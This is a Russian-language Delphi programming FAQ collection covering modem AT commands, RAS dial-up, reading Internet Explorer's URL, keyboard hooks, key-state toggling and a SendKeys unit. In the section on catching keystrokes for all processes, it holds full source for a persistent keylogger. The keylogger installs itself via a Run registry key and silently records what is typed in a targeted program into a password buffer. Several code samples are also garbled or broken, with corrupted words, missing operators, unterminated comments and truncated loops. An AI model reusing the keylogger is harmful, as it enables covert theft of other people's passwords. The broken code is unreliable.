Remote Digital Loopback)
&T7 Иниицирование внутреннего теста RDL (Initiate RDL With Self
Test)
&T8 Внутренний тест локальной сетевой петли (Local Loopback With
Self Test)
&T19 Выполнение теста RTS/CTS кабеля (Perform RTS/CTS Cable Test)
&Un Отмена TDellis кодирования (Disable TDellis Coding)
&V Просмотр профилей конфигурации (View Configuration Profiles)
&Wn Сохранение активного профиля (Store Active Profile)
&Xn Выбор источника синхронизации времени TDansmit (Store Active
Profile)
&Yn Выбор сохранения профиля для аппаратного перезапуска (Select
Stored Profile For Hard Reset)
&Zn= Сохранение телефонного номера (Store Telephone Number)
, Пауза (Perform Pause)
= Запись в S-регистр (Write To An S-Register)
? Чтение S-регистра (Read An S-Register)
P Выбор пульсового набора (Select Pulse Dialing)
Т Тоновый набор (Tone)
S-регистры модема

[РЕГИСТРЫ МОДЕМА]

S0 Звонок, на который необходимо ответить (Ring After Which To
Answer)
S1 Количество звонков (Ring Count)
S2 Символ отмены (Hayes Escape Character)
S3 Символ перевода строки (Carriage Return Character)
S4 Символ пропуска строки (Line Feed Character)
S5 Символ пробела (Backspace Character)
S6 Ожидание перед вызывом (Wait Before Blind Dialing)
S7 Ожидание ответа (Wait For Carrier)
S8 Время паузы для запятой (Pause Time For Comma)
S9 Время восстановления (Carrier Recovery Time)
S10 Время задержки для поднятия трубки после потери соединения
(Lost Carrier Hang Up Delay)
S11 Время DTMF соединения (DTMF Dialing Speed)
S12 Время защиты отмены (Hayes Escape Guard Time)
S16 Выполнение теста (Test in Progress)
S18 Тест таймера модема (Modem Test Timer)
S19 Настройки автосинхронизации (AutoSync Options)
S25 Обнаружено изменение DTD (Detect DTD Change)
S26 Интервал задержки RTS для CTS (RTS To CTS Delay Interval)
S30 Неактивное время ожидания (Inactivity Timeout)
S31 Символ XON (XON Character)
S32 Символ XOFF (XON Character)
S36 Ошибка согласования TDeatment (Negotiation Failure TDeatment)
S37 Ускорение DCE линии (Desired DCE Line Speed)
S38 Время ожидания снятия трубки (Hang-up Timeout)
S43 Текущая скорость линии (Current Line Speed)
S44 Техническая конструкция (Framing Technique)
S46 Выбор протокола/компрессии (Protocol/Compression Selection)
S48 Действие характеристики согласования (Feature Negotiation
Action)
S49 Низкий предел буфера (Buffer Low Limit)
S50 Высокий предел буфера (Buffer High Limit)
S70 Максимальное число ReTDansmissions (Maximum Number of
ReTDansmissions)
S73 Неактивное время ожидания (No Activity Timeout)
S82 Выбор прерывания (Break Selection)
S86 Код причины неудачной связи (Connection Failure Cause Code)
S91 Выбор уровня TDansmit коммутируемой линии (Select Dial-up Line
TDansmit Level)
S95 Расширенный результат кода битовой карты (Extended Result Code
Bit Map)

S108 Селектор качества сигнала (Signal Quality Selector)
S109 Селектор скорости соединения (Carrier Speed Selector)
S110 Селектор V.32/V.32 bis (V.32/V.32 bis Selector)
S113 Тональный вызов ConTDol (Calling Tone ConTDol)
S121 Использование DTD (Use of DTD)
S141 Таймер фазы обнаружения (Detection Phase Timer)
S142 Онлайновый формат символов (Online Character Format)
S144 Выбор скорости автобода (Autobaud Speed Group Selection)
К заголовку




Как дозвониться до провайдера
=== 1 ===
 1. Если ты посто полезешь из программы куда-то по IP - то Win сама начнет dial-up, если у нее есть хотя бы одно
connection в
Remote Access.
2. Если ты хочешь, чтобы программа сама выбирала connection (если их имеется несколько), контролировала набор
номера,
посылала login и пароль, то тебе нужно воспользоваться функциями RAS.


{ Try to establish RAS connection with specified name. EntryName - an entry in default phonebook to be used for dial-up. Notes:
a) This call is synchronous (i.e. will not return until the connection is established or failed) and hence, may take some time
(sometimes tens
of seconds).
b) The function uses no dial extension, and uses default phonebook.}
function RasMakeDialupConnection( const EntryName :string ) :Boolean;
var dwRet : Dword;
DialParams :TRasDialParams;
hRas :HRASCONN;
bPwd :Boolean; // was the password retrieved
begin
uLastErr := 0; // Prepare dial parameters
FillChar( DialParams, SizeOf(DialParams), 0 );
DialParams.dwSize := SizeOf(DialParams);
StrPLCopy( @(DialParams.szEntryName[0]), EntryName, SizeOf(DialParams.szEntryName) );
hRas := 0; // must do that before calling RasDial // // Try to retrieve user name/passowrd. // We continue even if
RasGetEntryDialParams
returns error, because // in next call RasDial will just try with empty user name/password
bPwd := False;
RasGetEntryDialParams( nil, @DialParams, bPwd ); // // Call RAS API. In this particular case RasDial will not return until // the
connections
is established or failed to establish.
dwRet := RasDial( nil, nil, // no dial extensions, default phonebook
@DialParams,
0, // ignored here
nil, // do not use callback - the call is synch
hRas ); // receives connection handle
Result := (dwRet = 0); // // Connection failed... if not Result then begin // In some cases hRas may be non-zero and the
connection port // is
still opened. It is a Windows semi-bug/semi-feature. // So I must try to close
if hRas <> 0 then
RasHangupConnection( hRas ); // RasHangup may reset uLastErr, but we need the value // returned from RasDial
uLastErr := dwRet;
end;
end;

=== 2 ===
Function DialProvider(connection:string):boolean;
// connection - имя учетной записи
var pars:TRasDialParams;

hRas:ThrasConn;
r:integer;
begin

hRas:=0;
strpcopy(pars.szEntryName,connection); // имя учетной записи
pars.szPhoneNumber:='';                // номеp телефона - по умолчанию
pars.szcallbacknumber:='';             // callback нам не нужен
pars.szUserName:='';                   // логин - по умолчанию
pars.szPassWord:='';                   // паpоль - по умолчанию
pars.szDomain:='';                     // аналогично с домейном
pars.dwSize:=Sizeof(TRasDialParams);   // вычисляем pазмеp записи
r:=rasdial(nil,nil,pars,0,nil,hRas);   // звоним
if r<>0 then begin                          // если что-то неполучилось, то
rasHangUp(hRas);               // сбpасываем соединение
result:=false;                 // ф-ция тепеpь веpнет false
end
else result:=true;          // а если все ок - то true.
end;
P.S. Ras.pas бpать с www.torry.ru
К заголовку




Работа с модемом под Win2000
procedure TForm1.Button1Click(Sender: TObject);
var
CommPort : string;
hCommFile : THandle;
ModemStat : DWord;
begin
CommPort := 'COM2';

{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_READ,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile = INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;

{Get the Modem Status}
if GetCommModemStatus(hCommFile, ModemStat) lt gt false then begin
if ModemStat and MS_CTS_ON lt gt 0 then
ShowMessage('The CTS (clear-to-send) is on.');
if ModemStat and MS_DSR_O!

N lt gt 0 then
ShowMessage('The DSR (data-set-ready) is on.');
if ModemStat and MS_RING_ON lt gt 0then
ShowMessage('The ring indicator is on.');
if ModemStat and MS_RLSD_ON lt gt 0 then
ShowMessage('The RLSD (receive-line-signal-detect) is
on.');
end;

{Close the comm port}
CloseHandle(hCommFile);
end;
К заголовку




Слежение за urlами в MSIE...
Нужна прога, которая бы следила за urlами в MSIE...

Пример показывает, как найти окно Internet Explorer, и захватить из него текущий URL, находящийся в поле адреса
IE. В Исходнике используются простые функции win32 api на delphi.

{-------------------------------------------------------}
Function GetText(WindowHandle: hwnd):string;
var
txtLength : integer;
buffer: string;
begin

TxtLength := SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0, 0);
txtlength := txtlength + 1;
setlength (buffer, txtlength);
sendmessage (WindowHandle,wm_gettext, txtlength, longint(@buffer[1]));
result := buffer;
end;

function GetURL:string;
var
ie,toolbar,combo,
comboboxex,edit,
worker,toolbarwindow:hwnd;
begin

ie := FindWindow(pchar('IEFrame'),nil);
worker := FindWindowEx(ie,0,'WorkerA',nil);
toolbar := FindWindowEx(worker,0,'rebarwindow32',nil);
comboboxex := FindWindowEx(toolbar, 0, 'comboboxex32', nil);
combo := FindWindowEx(comboboxex,0,'ComboBox',nil);
edit := FindWindowEx(combo,0,'Edit',nil);
toolbarwindow := FindWindowEx(comboboxex, 0, 'toolbarwindow32', nil);


result := GetText(edit);
{-------------------------------------------------------}

procedure TForm1.Button1Click(Sender: TObject);
begin
showmessage(GetURL);
end;

К заголовку




Замена Tab на Enter?
=== 1 ===
(SV):

Если вы хотите обрабатывать событие на уровне формы (а не в каждом отдельном
компоненте), уберите обработчики события у всех компонент и создайте
FormKeyPress -- обработчик OnKeyPress для формы:

procedure Form1.OnKeyPress(Sender : TObject; var Key : char);
begin
if Key = #13 then begin
  SelectNext(Sender as TWinControl, true, true);
  Key := #0;
end;
end;

=== 2 ===
(AnSa): Давно хотелось высказаться по поводy этого способа. Во-пеpвых, нyжно
выставлять y фоpмы KeyPreview = True. Во-втоpых, если на фоpмy поместить
default-кнопкy, то никакого пеpемещения фокyса не бyдет.
К заголовку




Как из программы переключать языки?
Здесь переключатели на русский и на английский.

procedure SetRU;
var
Layout: array[0.. KL_NAMELENGTH] of char;
begin
LoadKeyboardLayout( StrCopy(Layout,'00000419'),KLF_ACTIVATE);
end;

procedure SetEN;
var
Layout: array[0.. KL_NAMELENGTH] of char;
begin
LoadKeyboardLayout(StrCopy(Layout,'00000409'),KLF_ACTIVATE);
end;

К заголовку




Как отловить все нажатия клавиатуры на других окнах?
SetWindowsHookEx().
К заголовку




Как отловить нажатия клавиш для всех процессов в системе?
=== 1 ===
Вот, может поможет:

>1. Setup.bat

=== Cut ===
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
=== Cut ===

>2.HookAgnt.reg

=== Cut ===
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
=== Cut ===

>3.KbdHook.dpr

=== Cut ===
program cwbhook;

uses Windows, Dialogs;

var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;

begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat until not GetMessage(msg, 0, 0, 0);
end.
=== Cut ===

>4.HookAgnt.dpr

=== Cut ===
library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports
  KeyboardProc;

var
  hFileMappingObject: THandle;
  fInit: Boolean;

{----------------------------\
|                            |
|     DLL_PROCESS_DETACH     |
|                            |
\----------------------------}

procedure DLLMain(Reason: Integer);
begin

  if Reason = DLL_PROCESS_DETACH then
  begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;

end;

{----------------------------\
|                            |
|     DLL_PROCESS_ATTACH     |
|                            |
\----------------------------}

begin
  DLLProc := @DLLMain;

  hFileMappingObject := CreateFileMapping(
    THandle($FFFFFFFF), // use paging file
    nil,                // no security attributes
    PAGE_READWRITE,     // read/write access
    0,                  // size: high 32 bits
    4096,               // size: low 32 bits
    'HookAgentShareMem' // name of map object
  );

  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;

  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

  lpvMem := MapViewOfFile(
    hFileMappingObject, // object to map view of
    FILE_MAP_WRITE,     // read/write access
    0,                  // high offset: map from
    0,                  // low offset:  beginning
    0                   // default: map entire file
  );
  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;
  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);

end.

=== Cut ===

>5.KeyboardHook.pas

=== Cut ===
unit KeyboardHook;
interface
uses Windows;
const
  PASSWORDSIZE = 16;
var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;
var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;
begin
  lpszPassword := PChar(lpvMem);
  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
      lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
    lstrcat(g_szKeyword, szKeyName);
    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and
       (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
      lstrcat(lpszPassword, szKeyName);
    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;
    Result := 0;
  end
  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;

end.

=== 2 ===

Существуют приложения, которым необходимо перехватывать все нажатия клавиш в Windows, даже если в данный
момент активно другое приложение. Это может быть, например, программа,
переключающая раскладку клавиатуры, резидентный словарь или программа, выполняющая иные действия по
нажатию "горячей" комбинации клавиш. Перехват всех событий в Windows (в том числе и событий от клавиатуры)
выполняется с помощью вызова функции SetWindowsHook(). Данная функция регистрирует в системе Windows
ловушку (hook) для определенного типа событий/сообщений. Ловушка - это пользовательская процедура, которая
будет обрабатывать указанное событие. Основное здесь то, что эта процедура должна всегда присутствовать в
памяти Windows. Поэтому ловушку помещают в DLL и загружают эту DLL из программы. Пока хоть одна программа
использует DLL, та не может быть выгружена из памяти. Приведем пример такой DLL и программы, ее
использующей. В примере ловушка перехватывает нажатие клавиш на клавиатуре, проверяет их и, если это
клавиши "+" или "-", посылает соответствующее сообщение в конкретное приложение (окно). Окно ищется по имени
его класса ("TForm1") и заголовку (caption, "XXX").

{текст библиотеки}
library SendKey;
uses
 WinTypes, WinProcs, Messages;
Const
 {пользовательские сообщения}
 wm_NextShow_Event = wm_User + 133;
 wm_PrevShow_Event = wm_User + 134;
 {handle для ловушки}
 HookHandle: hHook = 0;

Var
 SaveExitProc : Pointer;
{собственно ловушка}
function Key_Hook(Code: integer; wParam: word; lParam: Longint): Longint; export;
var H: HWND;
begin
 {если Code>=0, то ловушка может обработать событие}
 if Code >= 0 then
  begin
   {это те клавиши?}
   if ((wParam = VK_ADD)or(wParam = VK_SUBTRACT)) and (lParam and $40000000 = 0) then
    begin
     {ищем окно по имени класса и по заголовку}
      H := FindWindow('TForm1', 'XXX');
     {посылаем сообщение}
     if wParam = VK_ADD then
       SendMessage(H, wm_NextShow_Event, 0, 0)
     Else
       SendMessage(H, wm_PrevShow_Event, 0, 0);
   end;

  {если 0, то система должна дальше обработать это событие}
  {если 1 - нет}
  Result:=0;
 end else
   {если Code<>0 then
  begin
   UnhookWindowsHookEx(HookHandle);
   ExitProc := SaveExitProc;
 end;
end;

{инициализация DLL при загрузке ее в память}
begin
 {устанавливаем ловушку}
  HookHandle := SetWindowsHookEx(wh_Keyboard, Key_Hook,
                            hInstance, 0);
 if HookHandle = 0 then
    MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok) else
 begin
  SaveExitProc := ExitProc;
  ExitProc := @LocalExitProc;
 end;
end.

Размер такой DLL в скомпилированном виде будет около 3Кб, поскольку в ней не используются объекты из VCL.
Далее приведен код модуля в Delphi, который загружает DLL и обрабатывает сообщения от ловушки, просто
отображая их в Label1.

unit Unit1;
interfaceuses
 SysUtils,WinTypes,WinProcs,Messages,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls;
{пользовательские сообщения}
const
 wm_NextShow_Event = wm_User + 133;
 wm_PrevShow_Event = wm_User + 134;
type
  TForm1 = class(TForm)
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
  private
    {обработчики сообщений}
    procedure WM_NextMSG (Var M : TMessage);
 message wm_NextShow_Event;
    procedure WM_PrevMSG (Var M : TMessage);
 message wm_PrevShow_Event;
  end;

var
  Form1: TForm1;
  P : Pointer;

Implementation
{$R *.DFM}
{загрузка DLL}

function Key_Hook : Longint; far; external 'SendKey';
procedure TForm1.WM_NextMSG (Var M : TMessage);
begin
  Label1.Caption:='Next message';
end;

procedure TForm1.WM_PrevMSG (Var M : TMessage);
begin
  Label1.Caption:='Previous message';
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  {если не использовать вызов процедуры из DLL в программе,
    то компилятор удалит загрузку DLL из программы}
  P:=@Key_Hook;
end;
end.

Конечно, свойство Caption в этой форме должно быть установлено в "XXX".

=== 3 ===
Для этого используется функция GetAsyncKeyState(KeyCode)
в качестве параметра используются коды клавиш(например A - 65).
GetAsyncKeyState возвращает не нулевое значение если, во время ее вызова нажата указаная клавиша.



--------------------------------------------------------------------------------
Этот пример отлавливает нажатие клавиши "A"
Этот код необходимо поместить в процедуру обработки таймера с интервалом "1"

if getasynckeystate(65)<>0 then showmessage('A - pressed');

Прислал Igor Nikolaev aKa The Sprite.
Nomadic дополняет, что функция GetAsyncKeyState годится как для клавиатуpы, так и для мыши. [001407]

-------------------------------------------
-------------------------------------------
-------------------------------------------
-------------------------------------------


К заголовку




Как программно включить или выключить NumLock?

var abKeyState: array [0..255] of byte; begin GetKeyboardState( Addr( abKeyState[ 0 ] ) ); abKeyState[ VK_NUMLOCK ] := abKeyState[ VK_NUMLOCK ] or $01; SetKeyboardState( Addr( abKeyState[ 0 ] ) );
К заголовку




Как управлять Caps Lock?
procedure TMainForm.StudentLookupEnter(Sender: TObject);
Var Level : Integer;
    KeyState : TKeyBoardState;
begin
  {check if caps-lock is on - if not turn it on}
  Level := GetKeyState(VK_CAPITAL);
  GetKeyboardState(KeyState);
  CapsLockStatus := KeyState;
  If Level = 0 then
    begin
      KeyState[VK_CAPITAL] := 1;
      setKeyboardState(KeyState);
    end;
К заголовку




Как эмулировать нажатия клавиш в другой программе
Этот модуль является почти полным аналогом мотоду SendKeys из VB.
(Автор: Ken Henderson, email:khen@compuserve.com)
Полностью переработан и исправлен "М. Чемус" (chemus@ics.perm.ru), за что ему персональное спасибо!
======================================================================
(*
SendKeys routine for 32-bit Delphi.
Written by Ken Henderson
Copyright (c) 1995 Ken Henderson     email:khen@compuserve.com
This unit includes two routines that simulate popular Visual Basic
routines: Sendkeys and AppActivate.  SendKeys takes a PChar
as its first parameter and a boolean as its second, like so:
SendKeys('KeyString', Wait);
where KeyString is a string of key names and modifiers that you want
to send to the current input focus and Wait is a boolean variable or value
that indicates whether SendKeys should wait for each key message to be
processed before proceeding.  See the table below for more information.
AppActivate also takes a PChar as its only parameter, like so:
AppActivate('WindowName');
where WindowName is the name of the window that you want to make the
current input focus.
SendKeys supports the Visual Basic SendKeys syntax, as documented below.
Supported modifiers:
+ = Shift
^ = Control
% = Alt
Surround sequences of characters or key names with parentheses in order to
modify them as a group.  For example, '+abc' shifts only 'a', while  '+(abc)' shifts
all three characters.
Supported special characters
~ = Enter
( = begin modifier group (see above)
) = end modifier group (see above)
{ = begin key name text (see below)
} = end key name text (see below)
Supported characters:
Any character that can be typed is supported.  Surround the modifier keys
listed above with braces in order to send as normal text.
Supported key names (surround these with braces):
BKSP, BS, BACKSPACE
BREAK
CAPSLOCK
CLEAR
DEL
DELETE
DOWN
END
ENTER
ESC
ESCAPE
F1
F2
F3
F4
F5
F6
F7
F8
F9
F10
F11
F12
F13
F14
F15
F16
HELP
HOME
INS
LEFT
NUMLOCK
PGDN
PGUP
PRTSC
RIGHT
SCROLLLOCK
TAB
UP
Follow the keyname with a space and a number to send the specified key a
given number of times (e.g., {left 6}).
*)
unit sndkey32; interface Uses SysUtils, Windows, Messages; Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean;
function AppActivate(WindowName : PChar) : boolean; {Buffer for working with PChar's} const
  WorkBufLen = 40;
var
  WorkBuf : array[0..WorkBufLen] of Char; implementation
type
  THKeys = array[0..pred(MaxLongInt)] of byte;
var
  AllocationSize : integer; (*
Converts a string of characters and key names to keyboard events and
passes them to Windows.
Example syntax:
SendKeys('abc123{left}{left}{left}def{end}456{left 6}ghi{end}789', True);
*) Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean;
type
  WBytes = array[0..pred(SizeOf(Word))] of Byte;   TSendKey = record
    Name : ShortString;
    VKey : Byte;
  end; const
  {Array of keys that SendKeys recognizes.   If you add to this list, you must be sure to keep it sorted alphabetically
  by Name because a binary search routine is used to scan it.}   MaxSendKeyRecs = 41;
  SendKeyRecs : array[1..MaxSendKeyRecs] of TSendKey =
  (
   (Name:'BKSP';            VKey:VK_BACK),
   (Name:'BS';              VKey:VK_BACK),
   (Name:'BACKSPACE';       VKey:VK_BACK),
   (Name:'BREAK';           VKey:VK_CANCEL),
   (Name:'CAPSLOCK';        VKey:VK_CAPITAL),
   (Name:'CLEAR';           VKey:VK_CLEAR),
   (Name:'DEL';             VKey:VK_DELETE),
   (Name:'DELETE';          VKey:VK_DELETE),
   (Name:'DOWN';            VKey:VK_DOWN),
   (Name:'END';             VKey:VK_END),
   (Name:'ENTER';           VKey:VK_RETURN),
   (Name:'ESC';             VKey:VK_ESCAPE),
   (Name:'ESCAPE';          VKey:VK_ESCAPE),
   (Name:'F1';              VKey:VK_F1),
   (Name:'F10';             VKey:VK_F10),
   (Name:'F11';             VKey:VK_F11),
   (Name:'F12';             VKey:VK_F12),
   (Name:'F13';             VKey:VK_F13),
   (Name:'F14';             VKey:VK_F14),
   (Name:'F15';             VKey:VK_F15),
   (Name:'F16';             VKey:VK_F16),
   (Name:'F2';              VKey:VK_F2),
   (Name:'F3';              VKey:VK_F3),
   (Name:'F4';              VKey:VK_F4),
   (Name:'F5';              VKey:VK_F5),
   (Name:'F6';              VKey:VK_F6),
   (Name:'F7';              VKey:VK_F7),
   (Name:'F8';              VKey:VK_F8),
   (Name:'F9';              VKey:VK_F9),
   (Name:'HELP';            VKey:VK_HELP),
   (Name:'HOME';            VKey:VK_HOME),
   (Name:'INS';             VKey:VK_INSERT),
   (Name:'LEFT';            VKey:VK_LEFT),
   (Name:'NUMLOCK';         VKey:VK_NUMLOCK),
   (Name:'PGDN';            VKey:VK_NEXT),
   (Name:'PGUP';            VKey:VK_PRIOR),
   (Name:'PRTSC';           VKey:VK_PRINT),
   (Name:'RIGHT';           VKey:VK_RIGHT),
   (Name:'SCROLLLOCK';      VKey:VK_SCROLL),
   (Name:'TAB';             VKey:VK_TAB),
   (Name:'UP';              VKey:VK_UP)
  );   {Extra VK constants missing from Delphi's Windows API interface}
  VK_NULL=0;
  VK_SemiColon=186;
  VK_Equal=187;
  VK_Comma=188;
  VK_Minus=189;
  VK_Period=190;
  VK_Slash=191;
  VK_BackQuote=192;
  VK_LeftBracket=219;
  VK_BackSlash=220;
  VK_RightBracket=221;
  VK_Quote=222;
  VK_Last=VK_Quote;   ExtendedVKeys : set of byte =
  [VK_Up,
   VK_Down,
   VK_Left,
   VK_Right,
   VK_Home,
   VK_End,
   VK_Prior,  {PgUp}
   VK_Next,   {PgDn}
   VK_Insert,
   VK_Delete]; const
  INVALIDKEY = $FFFF {Unsigned -1};
  VKKEYSCANSHIFTON = $01;
  VKKEYSCANCTRLON = $02;
  VKKEYSCANALTON = $04;
  UNITNAME = 'SendKeys';
var
  UsingParens, ShiftDown, ControlDown, AltDown, FoundClose : Boolean;
  PosSpace : Byte;
  I, L : Integer;
  NumTimes, MKey : Word;
  KeyString : String[20]; procedure DisplayMessage(Message : PChar);
begin
  MessageBox(0,Message,UNITNAME,0);
end; function BitSet(BitTable, BitMask : Byte) : Boolean;
begin
  Result:=ByteBool(BitTable and BitMask);
end; procedure SetBit(var BitTable : Byte; BitMask : Byte);
begin
  BitTable:=BitTable or Bitmask;
end; procedure KeyboardEvent(VKey, ScanCode : Byte; Flags : Longint);
var
  KeyboardMsg : TMsg;
begin
  keybd_event(VKey, ScanCode, Flags,0);
  If (Wait) then While (PeekMessage(KeyboardMsg,0,WM_KEYFIRST, WM_KEYLAST, PM_REMOVE)) do begin
    TranslateMessage(KeyboardMsg);
    DispatchMessage(KeyboardMsg);
  end;
end; procedure SendKeyDown(VKey: Byte; NumTimes : Word; GenUpMsg : Boolean);
var
  Cnt : Word;
  ScanCode : Byte;
  NumState : Boolean;
  KeyBoardState : TKeyboardState;
begin
  If (VKey=VK_NUMLOCK) then begin
    NumState:=ByteBool(GetKeyState(VK_NUMLOCK) and 1);
    GetKeyBoardState(KeyBoardState);
    If NumState then KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] and not 1)
    else KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] or 1);
    SetKeyBoardState(KeyBoardState);
    exit;
  end;   ScanCode:=Lo(MapVirtualKey(VKey,0));
  For Cnt:=1 to NumTimes do
    If (VKey in ExtendedVKeys)then begin
      KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY);
      If (GenUpMsg) then
        KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP)
    end  else begin
      KeyboardEvent(VKey, ScanCode, 0);
      If (GenUpMsg) then KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
    end;
end; procedure SendKeyUp(VKey: Byte);
var
  ScanCode : Byte;
begin
  ScanCode:=Lo(MapVirtualKey(VKey,0));
  If (VKey in ExtendedVKeys)then
    KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY and KEYEVENTF_KEYUP)
  else KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
end; procedure SendKey(MKey: Word; NumTimes : Word; GenDownMsg : Boolean);
begin
  If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyDown(VK_SHIFT,1,False);
  If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyDown(VK_CONTROL,1,False);
  If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyDown(VK_MENU,1,False);
  SendKeyDown(Lo(MKey), NumTimes, GenDownMsg);
  If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyUp(VK_SHIFT);
  If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyUp(VK_CONTROL);
  If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyUp(VK_MENU);
end; {Implements a simple binary search to locate special key name strings} function StringToVKey(KeyString : ShortString) : Word;
var
  Found, Collided : Boolean;
  Bottom, Top, Middle : Byte;
begin
  Result:=INVALIDKEY;
  Bottom:=1;
  Top:=MaxSendKeyRecs;
  Found:=false;
  Middle:=(Bottom+Top) div 2;
  Repeat
    Collided:=((Bottom=Middle) or (Top=Middle));
    If (KeyString=SendKeyRecs[Middle].Name) then begin
       Found:=True;
       Result:=SendKeyRecs[Middle].VKey;
    end  else begin
       If (KeyString>SendKeyRecs[Middle].Name) then Bottom:=Middle
       else Top:=Middle;
       Middle:=(Succ(Bottom+Top)) div 2;
    end;
  Until (Found or Collided);
  If (Result=INVALIDKEY) then DisplayMessage('Invalid Key Name');
end; procedure PopUpShiftKeys;
begin
  If (not UsingParens) then begin
    If ShiftDown then SendKeyUp(VK_SHIFT);
    If ControlDown then SendKeyUp(VK_CONTROL);
    If AltDown then SendKeyUp(VK_MENU);
    ShiftDown:=false;
    ControlDown:=false;
    AltDown:=false;
  end;
end; begin
  AllocationSize:=MaxInt;
  Result:=false;
  UsingParens:=false;
  ShiftDown:=false;
  ControlDown:=false;
  AltDown:=false;
  I:=0;
  L:=StrLen(SendKeysString);
  If (L>AllocationSize) then L:=AllocationSize;
  If (L=0) then Exit;   while  (Ibegin
    case SendKeysString[I] of
    '(' : begin
            UsingParens:=True;
            Inc(I);
          end;
    ')' : begin
            UsingParens:=False;
            PopUpShiftKeys;
            Inc(I);
          end;
    '%' : begin
             AltDown:=True;
             SendKeyDown(VK_MENU,1,False);
             Inc(I);
          end;
    '+' :  begin
             ShiftDown:=True;
             SendKeyDown(VK_SHIFT,1,False);
             Inc(I);
           end;
    '^' :  begin
             ControlDown:=True;
             SendKeyDown(VK_CONTROL,1,False);
             Inc(I);
           end;
    '{' : begin
            NumTimes:=1;
            If (SendKeysString[Succ(I)]='{') then begin
              MKey:=VK_LEFTBRACKET;
              SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
              SendKey(MKey,1,True);
              PopUpShiftKeys;
              Inc(I,3);
              Continue;
            end;
            KeyString:='';
            FoundClose:=False;
            while  (I<=L) do begin
              Inc(I);
              If (SendKeysString[I]='}') then begin
                FoundClose:=True;
                Inc(I);
                Break;
              end;
              KeyString:=KeyString+Upcase(SendKeysString[I]);
            end;
            If (Not FoundClose) then begin
               DisplayMessage('No Close');
               Exit;
            end;
            If (SendKeysString[I]='}') then begin
              MKey:=VK_RIGHTBRACKET;
              SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
              SendKey(MKey,1,True);
              PopUpShiftKeys;
              Inc(I);
              Continue;
            end;
            PosSpace:=Pos(' ',KeyString);
            If (PosSpace<>0) then begin
               NumTimes:=StrToInt(Copy(KeyString,Succ(PosSpace),Length(KeyString)-PosSpace));
               KeyString:=Copy(KeyString,1,Pred(PosSpace));
            end;
            If (Length(KeyString)=1) then MKey:=vkKeyScan(KeyString[1])
            else MKey:=StringToVKey(KeyString);
            If (MKey<>INVALIDKEY) then begin
              SendKey(MKey,NumTimes,True);
              PopUpShiftKeys;
              Continue;
            end;
          end;
    '~' : begin
            SendKeyDown(VK_RETURN,1,True);
            PopUpShiftKeys;
            Inc(I);
          end;
    else  begin
             MKey:=vkKeyScan(SendKeysString[I]);
             If (MKey<>INVALIDKEY) then begin
               SendKey(MKey,1,True);
               PopUpShiftKeys;
             end else DisplayMessage('Invalid KeyName');
             Inc(I);
          end;
    end;
  end;
  Result:=true;
  PopUpShiftKeys;
end; {AppActivate
This is used to set the current input focus to a given window using its
